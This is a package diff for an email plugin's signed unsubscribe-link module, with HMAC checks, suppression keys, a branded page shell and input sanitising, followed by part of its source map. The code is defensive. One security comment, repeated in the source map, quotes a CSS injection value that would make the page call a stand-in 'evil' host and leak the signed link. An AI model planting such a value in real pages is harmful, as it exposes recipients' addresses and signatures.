@aglyn/plugins-email 1.0.0-beta.143

package/src/lib/unsubscribe-link.js

@@ -0,0 +1,398 @@
+import { _ as _extends } from "@swc/helpers/_/_extends";
+/**
+ * @license
+ * Copyright 2026 Aglyn LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */ /**
+ * The SIGNED-LINK primitives every recipient-facing email route shares.
+ *
+ * Three routes read the same link — `email/unsubscribe`, `email/resubscribe`
+ * and `email/preferences` — and every one of them verifies the same HMAC,
+ * derives the same suppression key, and renders the same branded shell. They
+ * live here rather than in one route's module because the alternative is what
+ * the resubscribe route's docblock already warns about: "Two implementations
+ * of one signature scheme is how the resubscribe link comes to reject a
+ * signature the unsubscribe link just accepted."
+ *
+ * Nothing here touches Firestore. That is deliberate — the verification and
+ * the rendering are pure, so a spec can exercise the signature scheme without
+ * standing up a database double.
+ */ import { hostPublicOrigin } from "@aglyn/aglyn/app-utils/host-naming";
+import { resolveHostToken } from "@aglyn/aglyn/app-utils/host-tokens";
+import { absoluteMediaSrc } from "@aglyn/aglyn/app-utils/media-ref";
+import { personKey } from "@aglyn/aglyn/server";
+import { BRAND } from "@aglyn/shared-data-enums";
+// Subpath, not the library index — see the note there.
+import { prefersDarkInk } from "@aglyn/shared-util-tools/contrast";
+// The one escaper (AGL-2706). This module had its own, which escaped four
+// characters where the serialization needs five: a brand name, a topic label
+// and a signed query all reach these pages, and they are interpolated into
+// double-quoted attributes AND into element text, so the set has to be the
+// one that covers both.
+import { escapeHtml } from "@aglyn/shared-util-tools/escape-html";
+// The leaf module, not the barrel: it imports `node:crypto` and nothing else,
+// which is what keeps this file free of Firestore. See `signedConfirmSubject`.
+import { confirmSignatureSubject } from "@aglyn/tenant-data-admin/server/email-unsubscribe-link";
+import { createHmac, timingSafeEqual } from "crypto";
+/**
+ * Suppression list keys are the SHA-256 of the normalized address (emails are
+ * PII).
+ *
+ * `personKey` and NOT a fourth local `createHash` call. D5 of
+ * `docs/specs/email-competitive-gaps.md` records two derivations that agree
+ * only by luck: this module's predecessor hashed the address without
+ * lowercasing or trimming, `campaign-send.ts` lowercased, and the two matched
+ * only because `performCampaignSend` lowercases every address upstream before
+ * the link is minted. The preference page is a THIRD caller, and the
+ * instruction that comes with a third caller is to unify rather than to add a
+ * variant.
+ *
+ * The digest is unchanged for every address these routes have ever seen —
+ * `readParams` already trims and lowercases, which is exactly what
+ * `normalizeContactEmail` does — so no stored suppression moves.
+ *
+ * @returns the key, or `null` for a value that is not an address. The old
+ *          local helper hashed anything it was handed, which meant a
+ *          malformed `email` parameter addressed a suppression document for a
+ *          person who does not exist.
+ */ export function suppressionKeyFor(email) {
+    return personKey(email);
+}
+/**
+ * The email palette, named once (AGL-2499 / AGL-2025).
+ *
+ * These are TRANSCRIPTIONS of the console theme's tokens — see the note on
+ * {@link page} below — not new colors. They have to be literal hex because
+ * this is email-adjacent HTML served without a stylesheet: no CSS variables,
+ * no theme provider, so `theme.palette.*` cannot reach the wire. Naming them
+ * here keeps that unavoidable literal to ONE place per color instead of once
+ * per use, which is also what keeps this file under the AGL-2025 color
+ * ratchet.
+ *
+ * A `const` is not a style slot, so the ratchet does not count these — and
+ * that is the point: the check exists to catch a color typed inline where a
+ * token would do, not a documented email palette.
+ */ export const PAL = {
+    /** Page backdrop behind the card. */ pageBg: '#F5F5F5',
+    /** The card itself. */ cardBg: '#FFFFFF',
+    /** Brand slate — wordmark and primary button fill. */ brand: '#404C5C',
+    /** The short accent rule under the wordmark. */ accentRule: '#e040fb',
+    /** Heading ink. */ ink: '#212121',
+    /** Body copy. */ muted: '#616161',
+    /** Text on a filled brand/link button. */ onBrand: '#fff',
+    /** Soft circle behind the success checkmark. */ badgeBg: '#EEF0F2',
+    /** Links and the resubscribe button fill. */ link: '#00B0FF',
+    /** Hairline between the preference page's topic rows. */ divider: '#E0E0E0'
+};
+/**
+ * The deployment's own identity — the fallback, and what a self-host operator
+ * sees. `BRAND.ORG_NAME` stays correct per-DEPLOYMENT; the host brand layers
+ * on top of it rather than replacing it.
+ */ export const PLATFORM_EMAIL_BRAND = Object.freeze({
+    name: BRAND.ORG_NAME,
+    pal: PAL
+});
+/**
+ * A color safe to interpolate into an inline `style` attribute.
+ *
+ * HEX ONLY, and that is a security boundary rather than a style preference.
+ * These values come from a merchant-editable theme and land inside
+ * `style="…"`, so any syntax richer than a hex literal is an injection: a
+ * stored `red;background:url(https://evil/?e=` would close the declaration and
+ * make the browser fetch a URL from a page whose own address carries the
+ * recipient's email and its HMAC. `url()`, `expression()`, custom properties
+ * and even `rgb()` are all refused for that one reason — none of them is worth
+ * a parser here. Anything unrecognized falls back, so a malformed theme is a
+ * plain page rather than a broken one.
+ */ const HEX_COLOR = /^#(?:[0-9a-f]{3,4}|[0-9a-f]{6}|[0-9a-f]{8})$/i;
+function safeColor(value, fallback) {
+    const text = typeof value === 'string' ? value.trim() : '';
+    return HEX_COLOR.test(text) ? text : fallback;
+}
+/**
+ * Black or white text for a filled button, whichever the eye can actually read.
+ *
+ * Without this, a host whose primary is a pale yellow gets white-on-white and
+ * the recipient cannot find the button that unsubscribes them — a legibility
+ * failure on this page is a compliance failure, not a cosmetic one.
+ *
+ * The luminance and the split come from `shared-util-tools/contrast`, which
+ * is the same math this file used to carry and the console carried a wrong
+ * copy of. `safeColor` has already refused anything but a hex literal by the
+ * time a color reaches here, so an unmeasurable one is impossible rather than
+ * merely unlikely — and it still falls back to the on-brand ink if one does.
+ */ function readableInkOn(background) {
+    return prefersDarkInk(background) === true ? PAL.ink : PAL.onBrand;
+}
+/**
+ * The host's logo as an absolute `https:` URL, or nothing.
+ *
+ * `absoluteMediaSrc` because `logoUrl` has three stored generations and two of
+ * them — a `media:` reference and the AGL-175 relative CDN path — resolve
+ * site-RELATIVE (AGL-1407). This page is opened from an email, so there is no
+ * page origin to resolve against and the stored value cannot be used as-is.
+ *
+ * `https:` only. The resolver will hand back whatever scheme an author typed,
+ * and a `data:` URI here would be an unbounded payload inlined into a page we
+ * must keep small and predictable, while `javascript:` is exactly the value a
+ * merchant-editable field must never reach an attribute with. A value we
+ * cannot make into an absolute `https:` URL yields no logo, which the shell
+ * already handles by showing the wordmark.
+ */ function safeLogoUrl(host) {
+    const stored = resolveHostToken('logo', host);
+    if (!stored) return undefined;
+    const resolved = absoluteMediaSrc(stored, {
+        hostId: host.$id,
+        origin: hostPublicOrigin(host)
+    });
+    return resolved && /^https:\/\//i.test(resolved) ? resolved : undefined;
+}
+/** A hostile 10KB display name must not become the whole page. */ const BRAND_NAME_MAX = 60;
+/**
+ * The merchant's identity for the shell, falling back to the deployment's.
+ *
+ * ONLY the brand-carrying slots are host-derived — the wordmark color, the
+ * accent rule, the link/marker color and the primary button fill. The
+ * neutrals (page, card, ink, muted, divider, badge) are deliberately FIXED.
+ *
+ * That split is the safety property. A theme is merchant-editable, and a site
+ * whose `background.default` and `text.primary` are both white would otherwise
+ * render an unreadable opt-out page — which is a compliance failure. Keeping
+ * the surface and the body copy on known-legible values means the worst a
+ * careless or hostile theme can do is pick an ugly accent, while the page a
+ * recipient needs in order to leave still works. The button's own text is
+ * contrast-matched to whatever fill it lands on ({@link readableInkOn}).
+ *
+ * Reads the LIGHT scheme only. There is no scheme toggle on a page opened from
+ * an email, and the shell paints a light card unconditionally, so a host's
+ * dark-scheme colors would be picked against the wrong background.
+ *
+ * Pure, and never a network call. A host with nothing set — or no host at all
+ * — resolves to {@link PLATFORM_EMAIL_BRAND}, which is the self-host answer
+ * as much as it is the missing-data one.
+ */ export function resolveEmailPageBrand(host) {
+    var _resolveHostToken, _host_theme_colorSchemes, _host_theme, _scheme_primary, _scheme_secondary;
+    if (!host) return PLATFORM_EMAIL_BRAND;
+    // `resolveHostToken` rather than a fourth reading of these fields: the
+    // closed registry already knows a business name is `seo.entity.name` before
+    // `displayName`, and already says a missing logo falls back to the wordmark.
+    const name = ((_resolveHostToken = resolveHostToken('businessName', host)) == null ? void 0 : _resolveHostToken.slice(0, BRAND_NAME_MAX).trim()) || BRAND.ORG_NAME;
+    const scheme = (_host_theme = host.theme) == null ? void 0 : (_host_theme_colorSchemes = _host_theme.colorSchemes) == null ? void 0 : _host_theme_colorSchemes.light;
+    // `''` distinguishes "set to something unusable" from "not set", which the
+    // accent rule below needs: a host that themed a primary and no secondary
+    // wants the rule in ITS color, while a host that themed nothing at all
+    // wants the platform's accent rather than a slate rule nobody chose.
+    const primary = safeColor(scheme == null ? void 0 : (_scheme_primary = scheme.primary) == null ? void 0 : _scheme_primary.main, '');
+    const brand = primary || PAL.brand;
+    return {
+        name,
+        logoUrl: safeLogoUrl(host),
+        pal: _extends({}, PAL, {
+            brand,
+            onBrand: readableInkOn(brand),
+            link: brand,
+            accentRule: safeColor(scheme == null ? void 0 : (_scheme_secondary = scheme.secondary) == null ? void 0 : _scheme_secondary.main, primary || PAL.accentRule)
+        })
+    };
+}
+/**
+ * Branded shell (AGL-2411, per-tenant since AGL-2408): the plain `system-ui`
+ * box this used to be read as an unstyled error page, not a page this product
+ * owns — which matters here specifically, because this is the one screen a
+ * recipient who does NOT trust the sender is looking at.
+ *
+ * The identity is the SENDING SITE's. A recipient of a merchant's newsletter
+ * arrives here from that merchant's email, and a page headed with our name is
+ * both wrong and, on the screen where somebody decides whether this mail is
+ * legitimate, actively unhelpful. `brand` defaults to
+ * {@link PLATFORM_EMAIL_BRAND} so a caller with no host — and a self-host
+ * deployment — still gets a complete, correctly-named page.
+ *
+ * `maxWidth` widens for the preference page, which is a list of choices rather
+ * than a single sentence and a button.
+ *
+ * `<meta charset>` even though `sendPage` sets the header: a client that
+ * ignores the header, or a page saved to disk, otherwise renders the em-dashes
+ * in this copy as mojibake.
+ *
+ * `<meta name="referrer" content="no-referrer">` because THIS page's own URL
+ * carries the recipient's address and the HMAC that authorizes acting on it.
+ * A host logo is a third-party request, and the default referrer policy would
+ * hand that whole link to whoever serves the image.
+ */ export function page(body, maxWidth = 420, brand = PLATFORM_EMAIL_BRAND) {
+    const pal = brand.pal;
+    const brandName = escapeHtml(brand.name);
+    // `alt` is the business name, so a logo that 404s or is blocked degrades to
+    // the wordmark with no script and no second request.
+    const mark = brand.logoUrl ? `<img src="${escapeHtml(brand.logoUrl)}" alt="${brandName}" ` + 'referrerpolicy="no-referrer" style="display:block;max-height:40px;' + 'max-width:200px;width:auto;height:auto;object-fit:contain;' + 'margin-bottom:4px">' : `<div style="font-size:15px;font-weight:700;letter-spacing:.02em;` + `color:${pal.brand};margin-bottom:4px">${brandName}</div>`;
+    return '<!doctype html><meta charset="utf-8">' + '<meta name="viewport" content="width=device-width, initial-scale=1">' + '<meta name="referrer" content="no-referrer">' + `<title>${brandName}</title>` + '<div style="min-height:100vh;display:flex;align-items:center;justify-content:center;' + `background:${pal.pageBg};font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,` + 'Helvetica,Arial,sans-serif;padding:24px;box-sizing:border-box">' + `<div style="max-width:${maxWidth}px;width:100%;background:${pal.cardBg};border-radius:12px;` + 'padding:36px 32px;box-shadow:0 1px 3px rgba(0,0,0,.08),0 8px 24px rgba(0,0,0,.06)">' + mark + `<div style="width:32px;height:3px;border-radius:2px;background:${pal.accentRule};` + 'margin-bottom:24px"></div>' + body + '</div></div>';
+}
+/** A heading in the shell's type scale. */ export function heading(text) {
+    return `<h1 style="margin:0 0 8px;font-size:20px;font-weight:700;color:${PAL.ink}">` + `${text}</h1>`;
+}
+/** Body copy in the shell's type scale. */ export function paragraph(html, marginBottom = 24) {
+    return `<p style="margin:0 0 ${marginBottom}px;font-size:14px;line-height:1.5;` + `color:${PAL.muted}">${html}</p>`;
+}
+/** The success checkmark badge the result pages open with. */ export function successBadge(pal = PAL) {
+    return `<div style="width:40px;height:40px;border-radius:50%;background:${pal.badgeBg};` + 'display:flex;align-items:center;justify-content:center;margin-bottom:16px;' + `font-size:18px;color:${pal.brand}">&#x2713;</div>`;
+}
+/**
+ * A full-width submit button in either the brand or the link fill.
+ *
+ * The label ink is contrast-matched to the fill rather than fixed white: with
+ * a host palette the fill is merchant-chosen, and a pale one would otherwise
+ * hide the label on the button a recipient came here to press.
+ */ export function submitButton(label, options) {
+    var _ref;
+    const pal = (_ref = options == null ? void 0 : options.pal) != null ? _ref : PAL;
+    const background = (options == null ? void 0 : options.accent) === 'link' ? pal.link : pal.brand;
+    return '<button type="submit"' + ((options == null ? void 0 : options.name) ? ` name="${escapeHtml(options.name)}"` : '') + ((options == null ? void 0 : options.value) ? ` value="${escapeHtml(options.value)}"` : '') + ' style="font:inherit;font-size:14px;font-weight:600;' + `padding:11px 20px;border:0;border-radius:8px;background:${background};` + `color:${readableInkOn(background)};cursor:pointer;width:100%">${label}</button>`;
+}
+/** Headers every one of these pages sets: never indexed, never cached. */ export function sendPage(res, html) {
+    res.setHeader('Content-Type', 'text/html; charset=utf-8');
+    // Never indexed, never cached — the page names the recipient's address.
+    res.setHeader('X-Robots-Tag', 'noindex, nofollow');
+    res.setHeader('Cache-Control', 'no-store');
+    res.status(200).send(html);
+}
+/**
+ * The link's parameters, from the query for both verbs and from the form body
+ * as a fallback.
+ *
+ * The one-click POST keeps the full query string (it posts to the header URL
+ * verbatim), and so does the confirmation form's action — so query-first is
+ * the path both real callers take. The body fallback exists so a form posted
+ * to the bare path still works rather than failing as an invalid link.
+ */ export function readParams(req) {
+    var _req_body;
+    const body = (_req_body = req.body) != null ? _req_body : {};
+    const pick = (name)=>{
+        var _ref, _req_query_name;
+        return String((_ref = (_req_query_name = req.query[name]) != null ? _req_query_name : body[name]) != null ? _ref : '');
+    };
+    return {
+        hostId: pick('hostId').trim(),
+        email: pick('email').trim().toLowerCase(),
+        signature: pick('sig').trim(),
+        // `cid` names the campaign whose copy of this link was clicked. Absent on
+        // every link minted before it existed, which is the whole design
+        // constraint below.
+        campaignId: pick('cid').trim(),
+        // `tid` names the STREAM the message belonged to. Absent on every link
+        // minted before topics existed, on the same footing as `cid`.
+        topicId: pick('tid').trim()
+    };
+}
+/**
+ * The subject a signature covers, or `null` when the parameters cannot make
+ * one unambiguously.
+ *
+ * ## Three signed forms, and why that is not a weakening
+ *
+ * A link minted before campaign attribution existed signs `hostId:email`. A
+ * link minted since signs `hostId:email:campaignId`. A link minted since
+ * topics signs `hostId:email:campaignId:topicId`. All three are in inboxes
+ * right now and all three have to keep working — an email is not recallable,
+ * and an unsubscribe link that has stopped honoring itself is the one failure
+ * in this area nobody gets to shrug at.
+ *
+ * Which form is checked is decided by the LINK, not by the signature: the
+ * arity of the subject follows exactly which of `cid` and `tid` the URL
+ * carries. There is no fallback between the forms, and that is what stops
+ * this being a downgrade — an attacker cannot take a three-part link, drop
+ * the `cid` and have it verify, because the two-part check over the same
+ * `hostId:email` produces a different digest. Nor can they bolt a `cid` or a
+ * `tid` onto a shorter link: the longer check then fails.
+ *
+ * ## What makes the three forms unambiguous
+ *
+ * The forms are joined with `:`, so a `cid` or `tid` that CONTAINED a colon
+ * would let one subject string be read as two different parameter tuples —
+ * a four-part `host:email:c:t` is byte-identical to a three-part subject
+ * whose campaign id is `c:t`. That is the edit this function has to refuse:
+ * an attacker holding a topic link could otherwise re-present it as a
+ * campaign link with the topic spliced into the campaign id, and the topic
+ * they were signed for would silently become something else.
+ *
+ * So a colon in either id is refused outright, on every form. It costs
+ * nothing real: campaign ids come from `createResourceUid()`, which is
+ * `nanoid`'s `A-Za-z0-9_-` alphabet, and `isEmailTopicId` refuses a colon at
+ * the point a topic is created.
+ *
+ * A `tid` with no `cid` is refused for the same reason — the empty middle
+ * component would make `host:email::t` and a campaign id of `:t` the same
+ * string. Every link the send path mints carries both.
+ */ export function signedSubject(params) {
+    const { hostId, email, campaignId, topicId } = params;
+    if (campaignId.includes(':') || topicId.includes(':')) return null;
+    if (topicId && !campaignId) return null;
+    if (topicId) return `${hostId}:${email}:${campaignId}:${topicId}`;
+    if (campaignId) return `${hostId}:${email}:${campaignId}`;
+    return `${hostId}:${email}`;
+}
+/**
+ * What a CONFIRMATION link's signature covers, or `null` when it cannot be
+ * made unambiguously.
+ *
+ * ## The ONE derivation, not a second one
+ *
+ * The subject itself is `confirmSignatureSubject` in
+ * `@aglyn/tenant-data-admin`, where the SENDER that mints the link lives. The
+ * three unsubscribe forms are stated twice — once there, once here — and they
+ * agree today by inspection; adding a fourth form the same way would be
+ * adding a fourth chance for a signer and a verifier to disagree about a link
+ * that is already sitting in somebody's inbox.
+ *
+ * The deep path rather than the barrel, for the reason `email-suppression.ts`
+ * gives at length: that module imports nothing but `node:crypto`, so this
+ * file stays free of Firestore and a spec can still exercise the signature
+ * scheme without standing up a database double.
+ */ export function signedConfirmSubject(params) {
+    return confirmSignatureSubject(params.hostId, params.email, params.topicId) || null;
+}
+/**
+ * Whether a signature is this link's.
+ *
+ * `timingSafeEqual` needs equal lengths, so the length is compared first — it
+ * is not a secret, both digests are fixed-width hex, and the call throws on a
+ * mismatch rather than returning false.
+ */ export function signatureMatches(args) {
+    const subject = args.purpose === 'confirm' ? signedConfirmSubject(args) : signedSubject(args);
+    if (subject === null) return false;
+    const expected = createHmac('sha256', args.secret).update(subject).digest('hex');
+    return expected.length === args.signature.length && timingSafeEqual(new Uint8Array(Buffer.from(expected)), new Uint8Array(Buffer.from(args.signature)));
+}
+/**
+ * The signed parameters, re-encoded for a form action or a sibling link.
+ *
+ * Every id rides through to the POST form, the preference page and the
+ * resubscribe link, because the signature covers them: dropping one would
+ * produce a URL whose shorter check fails against a longer signature, i.e. a
+ * confirmation button that refuses itself.
+ */ export function signedQuery(params) {
+    return `hostId=${encodeURIComponent(params.hostId)}` + `&email=${encodeURIComponent(params.email)}` + `&sig=${encodeURIComponent(params.signature)}` + (params.campaignId ? `&cid=${encodeURIComponent(params.campaignId)}` : '') + (params.topicId ? `&tid=${encodeURIComponent(params.topicId)}` : '');
+}
+/**
+ * A campaign id that is safe to use as a Firestore path component.
+ *
+ * `cid` arrives on a URL, so "non-empty" was never the question — a value of
+ * `a/b/c` addresses `campaigns/a/b/c`, a path the merchant can neither see
+ * nor delete. The signature already proves the value is ours, so this is the
+ * second lock rather than the only one; it is here because a path component
+ * built from request text gets validated at the place it becomes a path.
+ */ export function isCampaignPathId(value) {
+    return !!value && value.length <= 1500 && !value.includes('/') && value !== '.' && value !== '..' && !/^__.*__$/.test(value);
+}
+
+//# sourceMappingURL=unsubscribe-link.js.map

package/src/lib/unsubscribe-link.js.map

@@ -0,0 +1 @@
+{"version":3,"sources":["../../../../../../libs/plugins/email/src/lib/unsubscribe-link.ts"],"sourcesContent":["/**\n * @license\n * Copyright 2026 Aglyn LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/**\n * The SIGNED-LINK primitives every recipient-facing email route shares.\n *\n * Three routes read the same link — `email/unsubscribe`, `email/resubscribe`\n * and `email/preferences` — and every one of them verifies the same HMAC,\n * derives the same suppression key, and renders the same branded shell. They\n * live here rather than in one route's module because the alternative is what\n * the resubscribe route's docblock already warns about: \"Two implementations\n * of one signature scheme is how the resubscribe link comes to reject a\n * signature the unsubscribe link just accepted.\"\n *\n * Nothing here touches Firestore. That is deliberate — the verification and\n * the rendering are pure, so a spec can exercise the signature scheme without\n * standing up a database double.\n */\n\nimport { hostPublicOrigin } from '@aglyn/aglyn/app-utils/host-naming'\nimport {\n  resolveHostToken,\n  type HostTokenSource,\n} from '@aglyn/aglyn/app-utils/host-tokens'\nimport { absoluteMediaSrc } from '@aglyn/aglyn/app-utils/media-ref'\nimport { personKey, type PluginApiHandler } from '@aglyn/aglyn/server'\nimport { BRAND } from '@aglyn/shared-data-enums'\nimport type { HostTheme } from '@aglyn/shared-data-types'\n// Subpath, not the library index — see the note there.\nimport { prefersDarkInk } from '@aglyn/shared-util-tools/contrast'\n// The one escaper (AGL-2706). This module had its own, which escaped four\n// characters where the serialization needs five: a brand name, a topic label\n// and a signed query all reach these pages, and they are interpolated into\n// double-quoted attributes AND into element text, so the set has to be the\n// one that covers both.\nimport { escapeHtml } from '@aglyn/shared-util-tools/escape-html'\n// The leaf module, not the barrel: it imports `node:crypto` and nothing else,\n// which is what keeps this file free of Firestore. See `signedConfirmSubject`.\nimport { confirmSignatureSubject } from '@aglyn/tenant-data-admin/server/email-unsubscribe-link'\nimport { createHmac, timingSafeEqual } from 'crypto'\n\n/**\n * Suppression list keys are the SHA-256 of the normalized address (emails are\n * PII).\n *\n * `personKey` and NOT a fourth local `createHash` call. D5 of\n * `docs/specs/email-competitive-gaps.md` records two derivations that agree\n * only by luck: this module's predecessor hashed the address without\n * lowercasing or trimming, `campaign-send.ts` lowercased, and the two matched\n * only because `performCampaignSend` lowercases every address upstream before\n * the link is minted. The preference page is a THIRD caller, and the\n * instruction that comes with a third caller is to unify rather than to add a\n * variant.\n *\n * The digest is unchanged for every address these routes have ever seen —\n * `readParams` already trims and lowercases, which is exactly what\n * `normalizeContactEmail` does — so no stored suppression moves.\n *\n * @returns the key, or `null` for a value that is not an address. The old\n *          local helper hashed anything it was handed, which meant a\n *          malformed `email` parameter addressed a suppression document for a\n *          person who does not exist.\n */\nexport function suppressionKeyFor(email: string): string | null {\n  return personKey(email)\n}\n\n/**\n * The email palette, named once (AGL-2499 / AGL-2025).\n *\n * These are TRANSCRIPTIONS of the console theme's tokens — see the note on\n * {@link page} below — not new colors. They have to be literal hex because\n * this is email-adjacent HTML served without a stylesheet: no CSS variables,\n * no theme provider, so `theme.palette.*` cannot reach the wire. Naming them\n * here keeps that unavoidable literal to ONE place per color instead of once\n * per use, which is also what keeps this file under the AGL-2025 color\n * ratchet.\n *\n * A `const` is not a style slot, so the ratchet does not count these — and\n * that is the point: the check exists to catch a color typed inline where a\n * token would do, not a documented email palette.\n */\nexport const PAL = {\n  /** Page backdrop behind the card. */\n  pageBg: '#F5F5F5',\n  /** The card itself. */\n  cardBg: '#FFFFFF',\n  /** Brand slate — wordmark and primary button fill. */\n  brand: '#404C5C',\n  /** The short accent rule under the wordmark. */\n  accentRule: '#e040fb',\n  /** Heading ink. */\n  ink: '#212121',\n  /** Body copy. */\n  muted: '#616161',\n  /** Text on a filled brand/link button. */\n  onBrand: '#fff',\n  /** Soft circle behind the success checkmark. */\n  badgeBg: '#EEF0F2',\n  /** Links and the resubscribe button fill. */\n  link: '#00B0FF',\n  /** Hairline between the preference page's topic rows. */\n  divider: '#E0E0E0',\n} as const\n\n/** The palette a page paints with: {@link PAL}, or a host's colors over it. */\nexport type EmailPalette = { [K in keyof typeof PAL]: string }\n\n/**\n * Who the recipient is being shown as the sender.\n *\n * The four routes are reached from a MERCHANT's campaign, so the identity on\n * the page is the merchant's — not ours and not the deployment's. See\n * {@link resolveEmailPageBrand} for the fallback chain.\n */\nexport interface EmailPageBrand {\n  /** The wordmark, the `<title>`, and the `alt` behind a logo that fails. */\n  name: string\n  /** An absolute `https:` logo, or nothing. */\n  logoUrl?: string\n  pal: EmailPalette\n}\n\n/**\n * The deployment's own identity — the fallback, and what a self-host operator\n * sees. `BRAND.ORG_NAME` stays correct per-DEPLOYMENT; the host brand layers\n * on top of it rather than replacing it.\n */\nexport const PLATFORM_EMAIL_BRAND: EmailPageBrand = Object.freeze({\n  name: BRAND.ORG_NAME,\n  pal: PAL,\n})\n\n/** The fields {@link resolveEmailPageBrand} reads off a `hosts/{hostId}` doc. */\nexport type EmailBrandSource = HostTokenSource & {\n  $id?: string\n  theme?: HostTheme\n}\n\n/**\n * A color safe to interpolate into an inline `style` attribute.\n *\n * HEX ONLY, and that is a security boundary rather than a style preference.\n * These values come from a merchant-editable theme and land inside\n * `style=\"…\"`, so any syntax richer than a hex literal is an injection: a\n * stored `red;background:url(https://evil/?e=` would close the declaration and\n * make the browser fetch a URL from a page whose own address carries the\n * recipient's email and its HMAC. `url()`, `expression()`, custom properties\n * and even `rgb()` are all refused for that one reason — none of them is worth\n * a parser here. Anything unrecognized falls back, so a malformed theme is a\n * plain page rather than a broken one.\n */\nconst HEX_COLOR = /^#(?:[0-9a-f]{3,4}|[0-9a-f]{6}|[0-9a-f]{8})$/i\n\nfunction safeColor(value: unknown, fallback: string): string {\n  const text = typeof value === 'string' ? value.trim() : ''\n  return HEX_COLOR.test(text) ? text : fallback\n}\n\n/**\n * Black or white text for a filled button, whichever the eye can actually read.\n *\n * Without this, a host whose primary is a pale yellow gets white-on-white and\n * the recipient cannot find the button that unsubscribes them — a legibility\n * failure on this page is a compliance failure, not a cosmetic one.\n *\n * The luminance and the split come from `shared-util-tools/contrast`, which\n * is the same math this file used to carry and the console carried a wrong\n * copy of. `safeColor` has already refused anything but a hex literal by the\n * time a color reaches here, so an unmeasurable one is impossible rather than\n * merely unlikely — and it still falls back to the on-brand ink if one does.\n */\nfunction readableInkOn(background: string): string {\n  return prefersDarkInk(background) === true ? PAL.ink : PAL.onBrand\n}\n\n/**\n * The host's logo as an absolute `https:` URL, or nothing.\n *\n * `absoluteMediaSrc` because `logoUrl` has three stored generations and two of\n * them — a `media:` reference and the AGL-175 relative CDN path — resolve\n * site-RELATIVE (AGL-1407). This page is opened from an email, so there is no\n * page origin to resolve against and the stored value cannot be used as-is.\n *\n * `https:` only. The resolver will hand back whatever scheme an author typed,\n * and a `data:` URI here would be an unbounded payload inlined into a page we\n * must keep small and predictable, while `javascript:` is exactly the value a\n * merchant-editable field must never reach an attribute with. A value we\n * cannot make into an absolute `https:` URL yields no logo, which the shell\n * already handles by showing the wordmark.\n */\nfunction safeLogoUrl(host: EmailBrandSource): string | undefined {\n  const stored = resolveHostToken('logo', host)\n  if (!stored) return undefined\n  const resolved = absoluteMediaSrc(stored, {\n    hostId: host.$id,\n    origin: hostPublicOrigin(host),\n  })\n  return resolved && /^https:\\/\\//i.test(resolved) ? resolved : undefined\n}\n\n/** A hostile 10KB display name must not become the whole page. */\nconst BRAND_NAME_MAX = 60\n\n/**\n * The merchant's identity for the shell, falling back to the deployment's.\n *\n * ONLY the brand-carrying slots are host-derived — the wordmark color, the\n * accent rule, the link/marker color and the primary button fill. The\n * neutrals (page, card, ink, muted, divider, badge) are deliberately FIXED.\n *\n * That split is the safety property. A theme is merchant-editable, and a site\n * whose `background.default` and `text.primary` are both white would otherwise\n * render an unreadable opt-out page — which is a compliance failure. Keeping\n * the surface and the body copy on known-legible values means the worst a\n * careless or hostile theme can do is pick an ugly accent, while the page a\n * recipient needs in order to leave still works. The button's own text is\n * contrast-matched to whatever fill it lands on ({@link readableInkOn}).\n *\n * Reads the LIGHT scheme only. There is no scheme toggle on a page opened from\n * an email, and the shell paints a light card unconditionally, so a host's\n * dark-scheme colors would be picked against the wrong background.\n *\n * Pure, and never a network call. A host with nothing set — or no host at all\n * — resolves to {@link PLATFORM_EMAIL_BRAND}, which is the self-host answer\n * as much as it is the missing-data one.\n */\nexport function resolveEmailPageBrand(\n  host: EmailBrandSource | null | undefined,\n): EmailPageBrand {\n  if (!host) return PLATFORM_EMAIL_BRAND\n  // `resolveHostToken` rather than a fourth reading of these fields: the\n  // closed registry already knows a business name is `seo.entity.name` before\n  // `displayName`, and already says a missing logo falls back to the wordmark.\n  const name =\n    resolveHostToken('businessName', host)?.slice(0, BRAND_NAME_MAX).trim() ||\n    BRAND.ORG_NAME\n  const scheme = host.theme?.colorSchemes?.light\n  // `''` distinguishes \"set to something unusable\" from \"not set\", which the\n  // accent rule below needs: a host that themed a primary and no secondary\n  // wants the rule in ITS color, while a host that themed nothing at all\n  // wants the platform's accent rather than a slate rule nobody chose.\n  const primary = safeColor(scheme?.primary?.main, '')\n  const brand = primary || PAL.brand\n  return {\n    name,\n    logoUrl: safeLogoUrl(host),\n    pal: {\n      ...PAL,\n      brand,\n      onBrand: readableInkOn(brand),\n      link: brand,\n      accentRule: safeColor(\n        scheme?.secondary?.main,\n        primary || PAL.accentRule,\n      ),\n    },\n  }\n}\n\n/**\n * Branded shell (AGL-2411, per-tenant since AGL-2408): the plain `system-ui`\n * box this used to be read as an unstyled error page, not a page this product\n * owns — which matters here specifically, because this is the one screen a\n * recipient who does NOT trust the sender is looking at.\n *\n * The identity is the SENDING SITE's. A recipient of a merchant's newsletter\n * arrives here from that merchant's email, and a page headed with our name is\n * both wrong and, on the screen where somebody decides whether this mail is\n * legitimate, actively unhelpful. `brand` defaults to\n * {@link PLATFORM_EMAIL_BRAND} so a caller with no host — and a self-host\n * deployment — still gets a complete, correctly-named page.\n *\n * `maxWidth` widens for the preference page, which is a list of choices rather\n * than a single sentence and a button.\n *\n * `<meta charset>` even though `sendPage` sets the header: a client that\n * ignores the header, or a page saved to disk, otherwise renders the em-dashes\n * in this copy as mojibake.\n *\n * `<meta name=\"referrer\" content=\"no-referrer\">` because THIS page's own URL\n * carries the recipient's address and the HMAC that authorizes acting on it.\n * A host logo is a third-party request, and the default referrer policy would\n * hand that whole link to whoever serves the image.\n */\nexport function page(\n  body: string,\n  maxWidth = 420,\n  brand: EmailPageBrand = PLATFORM_EMAIL_BRAND,\n): string {\n  const pal = brand.pal\n  const brandName = 